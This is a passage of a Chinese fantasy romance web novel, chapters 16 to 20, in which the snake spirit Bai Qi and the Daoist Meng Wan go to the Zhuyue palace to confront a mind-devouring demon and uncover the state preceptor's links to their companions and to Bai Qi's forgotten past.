白绮与孟纨双双沉默了,数年前罗刹鸟封印解除,数月前轮到眼前这只鹏鸟,再就是白绮本人。
这些只是目前为止所知晓的妖物,他们不知情的情况下被解封的妖物想必也不少。
有人频频施法将被封印的妖物唤醒,或为己所用……逐月国国师究竟是什么身份?
白绮想起昔日她在赤水海底感受到的动静,遂问鹏鸟:“你醒来那日,可曾听见什么声音?”
鹏鸟称它恍恍惚惚地被怪异的声响惊醒,却听不真切说些什么,脱身后着急孵蛋,并未多想。
竟是与她当时的感受颇为相似。
两人好说歹说,终是说动鹏鸟原谅莽撞的村民们,答应了往后不再下“粪便雨”施以报复。昔日无意间破坏了鹏鸟蛋的村民携带食物前去表示歉意,此事便告一段落。
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“此番经历当真是凶险啊!”南箴在溪边捧起清水洗了把脸,一迭声感慨,“我离开皇……我行走江湖五年有余,还是第一次遇上此等大场面。”
孟纨在溪畔一块石头上坐稳身形,疑惑问她:“你们为何会出现在此地?”
南箴倒也无意隐瞒,捋了捋一头凌乱青丝,如实道:“我们追查一只妖物,追了整整五年也无果,得知近日在这附近出现过。”
“你们知道此地有什么来历吗?”她突然压低嗓音,神秘兮兮地朝白绮挑了挑眉。
白绮见她一副“我知道快问我”的得意模样,旋即格外配合地问她:“什么来历?”
“冥界必经之路。”
白绮略显震惊:“冥界!”她竟是从未想过,她与孟纨误打误撞闯入冥界的地界了。
不过也能说通,墓地里那面石壁——无实体之物无法通过,或是为防止冥界鬼魂私自逃离而设。
“师姐,都到此地了,我们要不要顺道去瞧瞧大师兄?”温霆玉眨了眨眼,满含期待地向南箴提议。
南箴抬手便是一巴掌扇向他后脑勺,脸色顿时黢黑似锅底,斥道:“瞧什么大师兄,哪来的大师兄?要去你自己去,我与他不熟。”
白绮见温霆玉一手捂着后脑勺,嘴角撅得颇高,却像是颇为享受的神色,早已见怪不怪,笑眯眯地问:“我们要回逐月城,你们接下来去哪里?”
17. 第 17 章
“逐月城……”南箴拧紧眉头若有所思,“我们不去逐月城,就此别过吧!”
白绮闻言并未多想,更不曾想他们还会有重逢之日,只点了点头,算是道别。她转身来到孟纨身旁,将他上下打量,旋即伸出一只手在他颈侧探了探。
“孟道长,你可有哪里不适?”
“并无。”孟纨面颊霎时染上浅淡绯色,身形却不动,并未躲开白绮覆在他颈间的冰凉指尖。
白绮早为孟纨疗伤止痛,伤势已无大碍。闻言她放下心来,满意地微眯起眼,想起罗刹鸟提及重塑孟纨的真实目的,不由的一阵唏嘘,“孟道长,魂玉究竟有何来历?”
孟纨轻轻摇头,旋即将白玉短剑举至白绮眼前,教她瞧个清楚。
白绮顺手接过,托于掌心仔细打量,只是一柄常见的短剑,白玉质地,并无蹊跷之处。念及此物的用途,她不自觉地直蹙眉,“此物……当真能召唤百鬼为己所用?”她仍是觉得不可思议。
“或许吧。”孟纨也毫无头绪,却不得不重视起来。
返回逐月城的途中,白绮不放心地问孟纨:“孟道长,逐月国国师数年来皆在唤醒被封印的妖物,是为寻人,或是另有所图?”
她难免怀疑自己是国师蓄谋已久的阴谋里一枚棋子。
事到如今,孟纨也意识到白绮或为国师有意唤醒,为己所用,至于其目的却无从得知。
白绮突然意识到了什么,神色变得凝重起来,“莫非国师也觊觎你……”她的声音逐渐变小,转为窃窃私语,“觊觎你的魂玉?”
“并非不可能。”
两人一路缓缓往逐月城的方向行去,先前罗刹鸟一席话教白绮思绪万千,是时候与孟纨拉近距离、正视她与孟纨之间的关系了。
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“你到我房里我做什么?”
夜深人静,孟纨略微倾身正摸索着整理床铺,突然觉察到有人蹑手蹑脚走进屋来,他没回头,不用猜也知道是谁。
白绮神色认真:“睡觉。”
孟纨耐心道:“安排了你同慕心将就一晚,明日再替你置办床榻,忘了?”
“没忘,我想同你睡。”白绮面不改色。
孟纨拒绝:“不可。如今你是女儿身,男女授受不亲,你与我同睡,实为不妥。”
白绮腹诽:我何时不是女儿身?!
未听见白绮回应,孟纨自顾自道:“夜深了,快回去睡。”
白绮不动,小声儿低估:“往日我与你同睡时,我也是女儿身,只是你未发现而已。”
孟纨默不作声,与一个蛋同榻而眠,跟与一名女子同床共枕,岂能混为一谈?斟酌片刻,孟纨试着解释:“不妥。如今你已变幻人形,我……”
话音未落,白绮即刻化作小白蛇,“嗖”地一下蹿上榻,得意地仰首望着孟纨摇尾巴。
孟纨明显是意识到发生了什么,一时竟不知所措,内心直责怪自己言辞含糊,教白绮曲解了其中的意思。
他分明是见过白绮幻化的人形后,哪怕白绮再恢复蛇身也无法单纯地拿她当作一条小白蛇看待。
“快上来!”见孟纨僵硬地站在原地,小白蛇忍不住催促,“你说过,我有安眠奇效。”催促不成,她开始诱惑对方。
孟纨内心挣扎迟疑不决,念及安眠奇效,转而半推半就认命了一般顺势熄灭烛火上榻。
待孟纨躺好盖上薄被,白绮卧在他胸口喃喃自语:“男女授受不亲终是抵不过安眠奇效。”
孟纨闻言耳根烧得绯红,装作未听见不作声。白绮却不是个省油的灯,并未打算老实睡觉。
“孟道长,听罗刹鸟所言,我们从前便认识,你说,我们会是什么关系?”
倘或当真如罗刹鸟所言,白绮无疑是那位频繁造访孟纨梦境的师尊,这与他的直觉与猜测相符。然……除却师徒这一层关系,他们之间必然有着说不清的牵扯,不然在梦境里,他怎会是那样一副形容?
“不知。”孟纨显然是心口不一。
白绮轻叹一口气,脸不红心不跳,“可能是那种关系呢!若是那种关系,我们同床共枕且不是水到渠成的事。”
“……”
原来在这儿等着他呢!孟纨强作镇定:“睡觉。”
白绮明显意犹未尽,悻悻然地按捺住心中好奇,重复道:“睡觉……”
翌日清晨,念卿敲了敲门,便推门迈进孟纨屋里,一抬眼……画面太过震撼以至于他半晌未回过神来,紧接着一声惊天地泣鬼神的叫嚷震破天际。
“小白蛇!你你你……你怎么把师父给睡了!”
白绮从孟纨身上爬起身来,睡眼惺忪看向念卿,“怎么,不给睡吗?”
孟纨这一夜睡得格外安详,这一切皆归功于小白蛇的安眠奇效。事实证明,效果强到可怕,念卿中气十足的一嗓子才将他从美梦中惊醒。
待看清榻上之人,孟纨着实吓得不轻,身形猛地往后一仰。
原本卧在他胸口安静入眠的小白蛇,不知何时已变幻人形,此刻神色从容正盘腿坐在榻上与念卿打嘴仗。
“师父……”念卿欲言而止,小白蛇寻着机会便占师父便宜,他们早就看穿了一切。
白绮挑衅似的瞥一眼念卿,慢条斯理地盥洗毕,回首一看,念卿仍立在原地发怔。她貌似不解,问:“你怎么还不出去?”
念卿瞪圆了眼珠子瞧她,“昨儿夜里师父分明安排你与慕心同睡,你怎的……溜进师父屋里了?”
“没有我,孟道长睡不安稳。”
念卿噎了一下,底气不足:“谁……谁信?”
白绮抬手指了指孟纨,“你问孟道长,他昨晚睡得香不香?念卿,你怎么这般不懂事,我同孟道长培养感情呢!”说罢,她略一倾身凑到念卿耳侧低语,“我与孟道长是那种关系。”
念卿似乎没听明白白绮话里的意思,“哪种关系?”
白绮眨了眨眼,一本正经的胡说八道:“当然是……男女之间还能有何种关系?你这人怎的脑子不开窍呢!”
念卿总算是弄清楚“那种关系”为“哪种关系”,仍是震惊得厉害,话也说不完整了,“什么……什么时候的事?我们怎么不知情?师父,小白蛇说的可是真的?”他不敢置信地偷瞄孟纨。
始终未说话的当事人之一——孟纨终于出声,试图止住这场闹剧:“别胡闹,该做什么做什么去。”
白绮一面得意地往外
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走,出门了还不忘回首轻唤一声:“孟道长,我等你一起用早膳。”
念卿见状都惊呆了,“师父,她……白绮当真与你是那种关系?一条小白蛇!”
孟纨一大早便被叽叽喳喳的两人闹得头脑昏沉,原本因着白绮变幻人形与他同床共枕一事震惊到极致,心脏更是狂跳不止,此刻听闻念卿如是说,险些两眼一黑当场人事不省。
“莫要跟着她胡闹。”
念卿撇撇嘴,对小白蛇一夜之间与师父变成“那种关系”有些难以接受,他望着孟纨一副垂眸沉思的神态,一步三回头,终于迈出门去,迫不及待地同慕心与少翁交头接耳。
“什么?!”慕心与少翁同时震惊到发出一声难以置信的惊呼,转眼便瞥见一副悠然自得的小白蛇正徐徐朝这边走来。
“师娘?”三个徒弟带着疑惑的语气终是唤出声来。
白绮先是一怔,随即反应过来是因她与念卿说的那番话,心里顿时不乐意了,“不许这般唤我!”她神色霎时转为罕见的严肃。
三个徒弟满腹疑虑:“那该如何称呼?”
这是个问题。
白绮轻咳一声,打算糊弄过去,“总之,不许唤我师娘。”旋即神秘兮兮地对徒弟们招了招手,“念卿过来,我有话与你说。”
念卿一脸茫然,先看看慕心,慕心喜怒不形于色,他未看出想要的答案;再瞅瞅少翁,少翁面色慈祥,永远一副老好人模样。他放弃挣扎,慢悠悠地走到白绮面前,同样小声儿:“何事如此神秘?”
白绮强忍住笑,凑近了些许距离,低声道:“不必为我准备床榻。”说罢她退开几步距离,意味不明地望着念卿微笑。
念卿被她那副皮笑肉不笑的笑容骇得头皮发麻,有些怀疑自己听错了,再三确认:“当真不用吗?可师父吩咐我们今日务必打理妥帖呢!”
白绮敛了笑意,正色道:“孟道长何时吩咐的,昨日?”见念卿机械地点了点头,她恢复笑颜,“这便是了,今时不同往日。”
念卿垂首思忖半晌,终于捋清了其中的弯弯绕绕,再抬起头来时竟是一副恍然大悟的模样,三步并作两步飞奔至慕心与念卿跟前,压低嗓音传达了白绮的嘱咐。
三个徒弟面面相觑,各有惊异之状,纷纷摇头表示有些摸不透师父的态度了,毫无预兆地,忽然与小白蛇喜结连理?
徒弟们谨遵白绮的吩咐并未新添床榻,反而上集市采买了诸多食材。孟纨听闻前因后果,亦拿白绮没办法,只是无奈地暗自叹气。
黄昏时分,孟纨正准备晚膳,白绮跟在一旁打下手。说是打下手,实则是立身于两步开外——观望,兼蹭吃蹭喝。
“孟道长,你蒸的桂花糕好香啊!你可真能干。”她手里托着一块刚出锅的桂花糕,轻轻嗅了嗅,不吝夸赞。
孟纨将剩下的桂花糕摆盘,未及应声,忽见念卿火急火燎地跑来,却在门口刹住步伐,他偏着头往屋里瞧,旋即暗暗松一口气:“师父,逐月国国师遣人送信来。”
“何事?”孟纨手上动作未停。
念卿拆开信函,抛却三言两语的寒暄,捡紧要之事说给孟纨听:“国师说……逐月国国主被妖物附身,请师父进宫除妖。”
18. 第 18 章
“孟道长,你真好,你人美心善,你温柔善良好脾气有耐性还贤惠。”
孟纨领着三个徒弟忙前忙后打理行囊,有人盘腿坐在榻上并未打算搭把手,只顾着欣赏。幸而她嘴甜,方不至于被徒弟们扔出道观。
“小白蛇,你不收拾包袱吗?”念卿忍无可忍,终究没忍住出声提醒白绮。
白绮手里捧着昨夜剩下的桂花糕,吃得正香,笑眯眯道:“孟道长帮我收拾了,你瞧!”她空出一只手指了指孟纨手里的小包袱。
三个徒弟面面相觑,无声地对师父待小白蛇的过度纵容表示不解与不满。
果然,色令智昏。
徒弟们得出结论。
“白绮?”
一抹颀长身影渐渐朝宫门靠近,一面朝白绮招手,“当真是你们,我还当是我眼花认错人了。”南箴面上是不加遮掩的欣喜。
看清同自己打招呼的人是何人,白绮先是一怔,旋即与孟纨对视一眼,小声儿道:“孟道长,他们怎么来了,莫非国师请他们来此除妖?”
孟纨迟疑着应了声。
南箴与温霆玉两人相继来到跟前,白绮有意套话,揶揄道:“南箴,我记得你曾说不来逐月城。”
“咳……”南箴掩饰似的轻咳一声,“人算不如天算,谁能料到我们寻了数年的那只妖怪近日来在皇宫里作祟,凑巧了。”
白绮莞尔而笑不作声,双眼却盯着南箴,未移开视线。
“怎么,你不信?”南箴见她一副将信将疑的神色,一时有些无语。
白绮略一挑眉,不置可否,自顾自问道:“你们追踪的究竟是何等妖物?很是厉害吗?追查五年竟也没结果。”
闻言,南箴面色沉了沉,像是触及到伤心往事,垂着头不再接茬。
温霆玉见状,赶忙凑到白绮面前,低声解释:“师姐她……”刚开了个头,他又拿眼偷偷打量南箴,一副征求意见的态度。见南箴瞥了他一眼并未出言阻止,适才放心地把事情的原委娓娓道来。
“……师姐的娘亲曾被妖物附身,最终……妖物吞噬了她的意识,不幸亡故了。”
白绮听了半晌未说话,她有些震惊,顿觉不应拿话戏虐南箴,遂低声道:“对不起,南箴,我……”
话说到一半,便被南箴出声打断:“别同情我,也别可怜我。”
白绮噎了一下,她还真没有这类意思,如实道:“并没有。我只是,觉得自己说话唐突了。”
陪在孟纨身边半月有余,她总算有了些许长进,言行举止不再如昔日那般莽撞而随心所欲。孟纨安静地站在一旁,不禁心生慰藉。
南箴却突然笑了,朝白绮摆了摆手,“并未唐突,五年有余,我都快忘记我娘亲长什么样子了。”
“南箴,你们说的妖物究竟有何能耐?”眼见南箴复又一副低落神色,白绮连忙转移话题。
“吞噬人心。”南箴斟酌着道,“依据人的心里反应揣摩心思……”
温霆玉补充道:“甚至能左右人的思想。”
确是颇有能耐。
“那妖物以何物为食,专食人的心思?”念及于此,白绮不禁唏嘘。
南箴肯定道:“是的。人在想什么,那妖物能一眼看穿。接二连三地被它说中内心所思的时候,人的心最终会变成空壳。”(1)
“究竟是什么妖物?”
南箴摇摇头,“不知道,从未听说过,竟是连大……”话未说全,她忽然偏过头拿眼色示意温霆玉。
温霆玉的视线时刻黏在南箴身上,此刻见状,即刻接过话茬继续道:“往日师姐的家人请师门中人前来降妖,大师兄布阵了得,却也拿它没办法。那只妖物妖术实在是过于强悍,师门中人最终惨败,教它逃了。”
人心中皆有所思所虑,因而容易被那只妖物识破或引诱。
此物果真棘手,白绮正焦头烂额思索对策,忽闻孟纨道:“此物既能看穿人心,寻常人自然不是它对手。然……”
念卿突然从孟纨身后冒出来,目光炯炯:“师父,你一定有办法,对吗?”
白绮闻言,似乎想到了什么,眉心蹙得更深。
孟纨的徒弟们皆为他的意识所化,孟纨算得意识受损,恐已伤及灵体……
由此可见孟纨并无被妖物看透心思的风险。
白绮暗自松一口气,此番前往逐月国皇宫降妖除魔可谓是胜券在握。
南箴见孟纨颔首,眸中霎时燃起希望之火,略显激动:“孟道长,你当真有办法?”
“你不相信我们孟道长?”
白绮如今是见不得也听不得一星半点旁人说孟纨的不是,听闻南箴质疑,顿时不乐意了。
南箴白了她一眼,“谨慎起见,我再确认一遍。”
白绮听后悻悻然,并未理会南箴的白眼,她早已习惯南箴动辄翻白眼的习惯,自顾自问道:“那妖物长什么样子?”
她这一问却是教南箴一时语塞,思忖半晌,南箴斟酌着字词:“尚不明确,每个人见到的不一样。”
白绮仰首望着孟纨半晌未说话,她没能够捋清楚南箴那句“每个人见到的不一样”所表达的具体含义。
孟纨垂眸看她,耐心地解释道:“吞噬人心的妖物,你看它是何物,它便是何物。”
听他如是说,应是对此物颇有些了解。
白绮一点就通,此刻愈发确信孟纨有办法对付霍乱逐月国皇宫的妖物,遂渐渐放下心来。
众人说话间,遥遥可见一行十余人缓步朝宫门口行来,待人走近了些许距离,白绮认出其中为首的那位正是昔日在赤水海畔有过一面之缘的逐月国国师。
叫什么名字来着?白绮绞尽脑汁适才意识到对方当日似乎并未透露过姓名。
她这厢尚在暗自揣测国师的身份,身后一道声音突兀地响起:“大师兄,终于见到你了。”
温霆玉朝国师招手。
莫说白绮闻言大惊,便是孟纨此刻也微微蹙眉紧盯着距离越来越近的逐月国国师。
他转而将视线落在身侧的南箴身上,低声询问:“南箴姑娘,你们认识?”
南箴一副心不甘情不愿的神色,支支吾吾:“算是……认识吧。”
温霆玉“嘿嘿”傻笑两声,接话道:“孟道长,那位便是我们提及的大师兄——季澜。师姐她,与大师兄……”
话音未落,温霆玉的后脑勺不知第几次惨遭南箴突然袭击,嗔道:“就你能耐,就你懂得多,一刻不说话你能憋死。”
白绮听着南箴拍在温霆玉后脑勺上发出的清脆声响,身形不自觉地一晃,听着声音都疼得厉害。
她悄然挪动身形往孟纨身旁靠近些许距离,几乎将整个身子贴在孟纨身上,稍稍踮起脚尖附在他耳畔低语:“孟道长,国师竟是南箴与温霆玉的大师兄,其中,会不会有什么误
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会呀?”
孟纨听懂了白绮话里的意思,此刻他亦百思不得其解,据先前白绮与他的猜测,逐月国国师与罗刹鸟之间应是旧相识,才会在现世将其唤醒为己所用,后来唤醒白绮也出于同样的目的。
然而……
“南箴姑娘,你们与你大师兄是何时相识?”孟纨决定先向南箴打探一下情况。
观南箴的神色,明显是不愿提及与大师兄有关的事,她见孟纨神色凝重,担心与降妖一事关系匪浅,遂冷着一张脸,应道:“五年前,我娘亲被妖物附身,便是他领人前来降妖。”
孟纨听了心底疑虑更甚,神色随之凝重起来。
“孟道长?”白绮轻轻碰了碰孟纨指尖,询问接下来的计划。
孟纨安抚似的轻拍她肩膀,“静观其变。”
逐月国国师终于来到众人跟前,相继行礼寒暄,最终,他转过身去朝南箴深深一揖:“公主殿下。”
除却温霆玉这位知情者,其余人等皆是大惊失色,南箴是——逐月国公主?
众人面上震惊的神色尚未消散,却见南箴扭过头去未理会逐月国国师,明眼人皆能看出来,南箴与国师之间气氛有些微妙。
“殿下终是回来了,陛下很是思念你。”国师并未将南箴的怠慢放在心上,言行仍是谦和有礼。
白绮瞥了眼南箴,复又悄悄拿余光打量国师的神色,随即凑到温霆玉身边,低声问他:“南箴与国师之间发生过什么?”
她想起温霆玉曾险些说漏嘴的只言片语。
温霆玉面露难色,朝白绮讪讪一笑,压低嗓音回道:“不得外传,师姐会揍我的。”
白绮一噎,忍不住腹诽:没有外传你师姐照样揍你。
一行人缓步往逐月国国主寝殿行去,南箴故意放慢步伐等候白绮走近,遂主动向她提及自己的身世,以及与国师之间的渊源。
南箴的娘亲——逐月国王后五年前被妖物附身,不幸亡故。彼时身为驱魔师的季澜被请进皇宫降妖,虽未能够如愿驱除附在王后身上的妖物,国主却惧怕妖物会卷土重来,将他留在宫内担任国师一职。
至于南箴本人与国师之间的恩怨情仇,用南箴的话讲:“那是我第一次见到驱魔师,从前只在话本子里读过,只当他是神仙一般的存在,谁知……”
她不屑地撇撇嘴,“我那时候年纪尚小,什么都不懂,满心满眼皆是他。”
三言两语,白绮捋清了个中渊源,再观国师对南箴的态度,他只尊她为公主殿下,有如今的局面可想而知。
“你这位大师兄……是人吗?”白绮没忍住问南箴。
南箴失神片刻,思绪渐渐回笼,如实道:“他确是寻常凡人,哪来那么多妖物!”她盯着白绮,意有所指。
白绮的心思皆在国师的身份上,无意与南箴争论。
“孟道长,究竟怎么回事?南箴说国师只是寻常凡人,莫非与你一样……记忆有损?”
眼下的景况,孟纨也只得朝这个方向去解释,他突然想起了什么,问白绮:“国师姓氏是?”
“他叫季澜。”
季澜。
渠儿?
乍一听似乎并无联系,却不能排除或是乳名。
孟纨快步走到国师身旁,低声询问:“国师昔日见到的妖物是何种形状?”
国师先是一怔,霎时回过神来,不同的人见到的妖物是不一样的。
19. 第 19 章
“是……一位多年未见的故人。”国师说话的声音很轻。
孟纨无声地观察他的神色,试探着道:“听上去应是一名女子。”他怀疑那位故人是白绮。
国师坦然承认:“是。朝思暮想,才会在见到那只妖物时被它看透心思,所见之物便是心中所思。”他转过脸来看向孟纨,“这正是那只妖物得以脱身的缘故。”
“孟道长,你背着我同他嘀咕些什么呢?”白绮拉了一下孟纨的衣袖,盯着他眼睛好奇问道。
国师争先解释:“能看穿人心的妖物。”他看向白绮的目光有一瞬间失神。
白绮察觉到国师看她的眼神有些怪异,却说不上来具体哪里不对,有一种脊背发凉的不适感。转而问他:“国主被妖物附身有多少时日了?”
逐月国国主被妖物附身后,并非全然没有自主意识。清醒时尚能认人,言行举止亦如常,只是身体较为虚弱,下不了床。
意识完全被妖物侵占后会有意拿话引诱周遭的人,无形中潜入旁人意识里,看穿人心,进而吞噬意识。
“五日。”国师应道,旋即他的视线扫过孟纨,再度落在白绮身上,“前辈,白绮姑娘,天色已晚,陛下已歇息了,两位先用晚膳,明日再行查探可好?”
用晚膳的时候,国师表现得极为热络,“尝尝这杏仁酥,宫里有位御厨乃姑苏人氏,厨艺了得。”
常言道,事出反常必有妖。
白绮时刻警醒着。
她试探性地咬了一口杏仁酥,酥脆可口,齿颊留香,厨艺确是了得。
白绮略显满足,凑近孟纨低声问他:“孟道长,你喜欢吗?”
孟纨点头应一声“嗯”。
白绮一抬眼,正撞上国师投向她的视线,炽热而不舍。
被抓了个正着,国师却并未躲闪,脸上也看不出窘迫或是慌乱,甚至礼节性地朝她莞尔一笑。
倒像是白绮自己多虑了似的。
夜里歇息的时候,白绮与孟纨分析后得出两种结论:国师并非是与罗刹鸟合谋之人;或是,国师已成人精,他们到现在仍被他蒙在鼓里耍得团团转。
两人都没有在国师身上发现可疑行迹,白绮与孟纨颇有默契地一唱一和明里暗里屡次试探,国师表现得皆与常人无异,未曾露出他们想见到的马脚。
眼下的局面,再拿不定主意便有些棘手了。白绮蹙眉,手肘枕在桌上托着侧脸,“孟道长,接下来怎么办?”
半晌未听见孟纨回应,白绮侧身看去,只见昏黄烛火映照下,孟纨面色潮红,脸颊起了一片疹子,正有气无力地坐在榻上。
白绮被他吓得不轻,赶忙起身上前扶稳他,“孟道长,你怎么了?”
“晚膳,晚膳……”孟纨看上去昏昏沉沉,已不能说出一句完整的话。
晚膳?白绮一面将他抱上榻,思绪转得飞快,心底一个答案逐渐清晰:晚膳有毒!
旋即她又发现这个猜测有些站不住脚,她也用了晚膳,此刻并无哪里不适。
斟酌片刻,她认为孟纨应是误食了什么不能食用的吃食。
不知怎的,“杏仁酥”三个字很快便浮现在她脑海里,可能是国师在用膳时刻意提及宫里那位来自姑苏的御厨厨艺了得,也可能是杏仁酥食用后齿颊留香,教她记忆深刻,她逐渐认定了孟纨是误食了杏仁酥才会导致身体不适。
再观孟纨的神色,双眸紧阖,冷汗淋漓,已有昏厥之兆。
正如白绮猜测的那样,太医前来查探之后告知,孟纨确实是因误食杏仁酥出现不适。
被惊动后相继赶到孟纨房内的众人面面相觑,纷纷表示自己也食用了杏仁酥,并无哪里不适。南箴凑在白绮身旁,喃喃自语:“孟道长身子很弱啊!几块杏仁酥就把他放倒了。”
白绮听了很是无语,转而询问太医孟纨的身体状况,太医遂向众人解释了为何只有孟纨食用杏仁酥后身体不适。
众人恍然,皆是心有余悸,事实证明话不可乱说,东西更不能乱吃。
夜色深沉,白绮用热水掬了巾帕,坐在榻前为孟纨擦拭额角的细汗。用过药后,他脸颊上的疹子消了一大半,人还没有清醒过来,口中喃喃却听不真切在说些什么。
念及太医说有人误食了吃食后面部或是身体其他部位会有肿胀,她仔细查看了一番,心底暗自松了一口气,孟纨身上并无肿胀。
“师尊……”
白绮站起身来正往外走,忽闻身后孟纨发出嗫嚅声,听上去像是痛苦极了。她飞快将水倒掉,用巾帕擦拭干净手上的水渍。
“孟道长?”她附身凑近了些许距离,意图听清孟纨在说些什么。
谁知她刚把头往前探了探,孟纨猛地睁开双眼,双手死死扣住她肩膀,险些将她拽翻到榻上。
“师尊!”
白绮用力扯开孟纨铁钳一般扣在她肩上的双手,不自觉地蹙眉,“师尊,师尊,又是师尊。你师尊都不要你了,你还惦记着她。”
“师尊,别……”孟纨睁大双眼望着渐渐往后退去的白绮,竟是泣不成声。
白绮心底的疑虑更甚,她与孟纨的师尊当真那么相像吗?以至于孟纨但凡意识不清醒,便会拿她当作心心念念的师尊。
“我长得像你的师尊?”她走回到榻前坐下,伸手轻轻抚摸孟纨泛红的面颊,带着些许整蛊的意味。
孟纨却不再说话,只是怔怔地望着她,一双眼睛清澈到几乎无害的地步,忽然又变得炽热而依依不舍。
白绮猛地推开孟纨站直身形,由于太过慌乱,她踢翻了方才坐着的小几。孟纨此刻的眼神,竟是与晚膳时国师看向她时流露出的神色近乎一模一样。
这个念头太过瘆人了,白绮摇了摇头。
她都要怀疑孟纨可能是被国师附身了,或是,国师与孟纨先后被同一只妖物附身了,才会相继流露出同样的神色。
记忆如巨浪侵袭,昔日她与孟纨身陷罗刹鸟布下的幻境,脱身后孟纨意识不清,拥着她时也曾流露出与此刻一样的眼神。
白绮望着再度陷入昏厥的孟纨,思绪突然有些混乱,孟纨与国师之间,定是有某种联系的。
渠儿,幻境里出现的渠儿。国师看上去并不认识孟纨,总不至于当真如此巧合,孟纨与国师双双
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丧失记忆了?似乎……不合情理。
正当白绮绞尽脑汁也没能捋清楚其中的渊源,身后忽然响起一阵急促的敲门声,“小白蛇……”念卿把门拍得震天响。
“念卿,你们怎么来了?”白绮打开门,门外站着孟纨的三个徒弟,都直愣愣地望着她。
慕心:“逐月国国主,发病了。”
完蛋,孟纨还昏睡着呢!
“师父还没醒吧?”少翁担忧地往里探了探头,却没进屋。
自打念卿在道观闯入孟纨的屋内见到了徒弟不宜见到的场面后,三个徒弟行事皆变得小心翼翼,唯恐一个不小心便打扰到师父与小白蛇之间培养感情。
白绮让少翁留下照看孟纨,跟着念卿与慕心匆匆往国主寝殿去,南箴与温霆玉已侯在殿外。
令白绮颇觉意外的是南箴的反应,仿佛被妖物附身之人并非是她的父亲。她只是一名公事公办的驱魔师,此番前往逐月国反而更像是为着降妖除魔。
“南箴,殿内现在是什么情况?”
南箴瞥了白绮一眼,“闹得厉害,好几名侍卫已经没命了。”
白绮不由的直蹙眉,可见不能没有孟道长在场,“那我们在这里等什么?命都没了。”
“我也不太确定,国师让先等着……”话未说完,殿门忽然被推开,国师形容狼狈出现在眼前。
“白绮姑娘,你能先行随我进来吗?”
闻言,白绮略显迟疑,她看了看南箴,没明白国师葫芦里卖的什么药。情况紧急,她来不及多想,便跟着国师的步伐往里走。
门在身后阖上的同时,她听见国师的声音自前方传来:“那妖物是受人操控,奉命行事。”
“什么?”白绮抬眼向前看,榻上坐着一名枯瘦的老者,心里正疑惑,南箴的父亲已是这般年纪的老人了?
“不记得自己是谁了。”一个声音突兀地从那老者口中传来,确切来讲,那个声音更像是在白绮脑海里回荡。
“不知是谁把你封印在赤水海里,哦,不!不是赤水海,而是……太苍山。”
“太苍山”三个字出现的时候,白绮霎时觉得被人当头一棒,击得她头脑昏昏沉沉,一时有些分不清身处何地。
“国师?”她强撑着最后一点残存的意识,像是要抓住最后一根救命稻草,“国师,这是怎么回事?”
原本走在她前头的国师早已不知去向,唯有心底那个声音像针尖扎在心里,越来越清晰。
“你最亲近之人是谁?”
白绮闭了闭眼,努力控制自己的意识不被附身在国主身上的妖物吞噬。
“没有亲近之人。”她突然怒喝一声,“你究竟是谁?别躲在暗处。”
“我是谁?”周遭霎时陷入一片寂静,落针可闻。
殿外刮起狂风,“啪嗒”一声掀开紧阖的门窗,刺骨的冷风涌进殿内,打着转扫过每一寸角落。
白绮顿觉手臂皮肤起了厚厚一层鸡皮疙瘩。
等候在殿外的众人没有发出半点声响,仿佛集体睡着了一样。
“我是你啊!”阴阳怪气的笑声随之而来。
20. 第 20 章
“你是我……”白绮觉出神识正被强行抽离,她像是意识到了什么,倏地轻笑出声。
眼前顿时天旋地转,辨不清方向。
“抓住她,这可是千年蛇妖,抓回去领赏。”
“别让她逃了!”
“……”
“好吵。”残存不多的意识尚在挣扎,纷乱嘈杂的叫嚷声仿佛在脑海里同时炸开来。
“大师兄来了,蛇妖逃不掉了。”
更深夜阑,白绮只顾着拼命往前跑,欲躲开围攻她的一行人,内心却并不惧怕。
好生奇怪,她为什么不反击,而只是一味地逃跑。据那些追捕她的人的意思,她早已是千年蛇妖,妖术定然了得。
众人频频提及的大师兄又是谁?
听上去应是个了不得的人物。
前方凭空出现一个结界拦住她的去路,周遭霎时亮如白昼,白光刺目,仿佛有无数根针尖同时扎进眼眶里。光线越来越明亮,白绮疼得直流泪。
她强忍着剧痛打量周遭,发现她已被困在结界中央。
“剥掉她的皮,让她永世不得翻身。”
“千年蛇妖的皮可是稀罕物。”
她被围追数日,受了很重的内伤,妖力大减;此刻被困结界,外有追兵虎视眈眈,莫非今日要交代在这里。
嘈杂声戛然而止,也没有了活人的气息。眼里的剧痛并未减轻,她拖着重伤的身体一瘸一拐往前行。
“下手真狠。”白绮无奈地笑了笑,藏身于一处山洞内疗伤,忽闻一道略显熟悉的声音传来。
“白绮姑娘,快醒醒!”
她手中动作一顿,屏气凝神聆听半晌,却未听见任何声音,白绮不自觉地蹙眉,继续疗伤。
“原来你在这里。”一个人影突然出现在洞口,他背着光,白绮看不真切他的形容,心脏不受控地狂跳如擂鼓。来不及多想,她变幻成小白蛇掉头便逃,那道身影渐渐被她甩在身后。
“姐姐,你往哪里去了,让我好找。”
白绮坐在榻上,望着眼前的红衣少年,笑道:“找我何事?”
少年十七八岁模样,眼神澄澈似一汪清泉,他扯住她一片衣袖撒娇,“许久未见,我想你了。”
这少年好生眼熟,白绮努力牵动每一根神经,试图想起眼前的少年究竟是何人。
她在山洞内疗伤时被人围堵,为何转眼间便出现在此地?身上的痛觉也消失了。一切发生得太快太过混乱,她一时有些分不清身处现实或是幻境。
“姐姐,哥哥去哪里了?”少年忽然松手,往后退开几步距离。
白绮双手猛然一抖,适才想起来在洞口围堵她的人是谁。
“姐姐,哥哥为什么要追杀你,因为你是千年蛇妖吗?”少年声音悦耳,给人一种懵懂天真的错觉。
白绮站起身来,走到少年面前,安慰道:“没有,哥哥并非是要杀我,他只是……”
“怎么不是?他四处追杀你,我亲眼看见了,你为什么要替他辩解?”
少年声嘶力竭的喊声把白绮吓得不轻,好端端的怎么突然像换了个人似的。
画面一转,白绮站在风声萧萧的山顶上。
“我要杀了你。”少年咬牙切齿,充满敌意的眼神固执地盯着眼前之人。
“渠儿,把魂玉放下。”回应他的人站在背光里,看不真切形容。
少年嗤笑一声:“我凭什么听你的?因为你是哥哥,而我是弟弟。”
“魂玉并非凡物,你控制不了它,会出事的。”对方温言细语,仍是耐性的劝解。
“恶鬼被放出来了,快逃啊!”杂乱的步履声混杂着惊恐的叫嚷四散开来。
“花渠,你收手!”
“姐姐,你来了。”少年满眼欣喜地望着白绮。
白绮未及站稳身形,便被身着青衫的年轻男子一掌击中胸口,她抬眼看向偷袭自己的人,瞳孔骤缩。
“姐姐!”少年拼命反抗,试图靠近她。
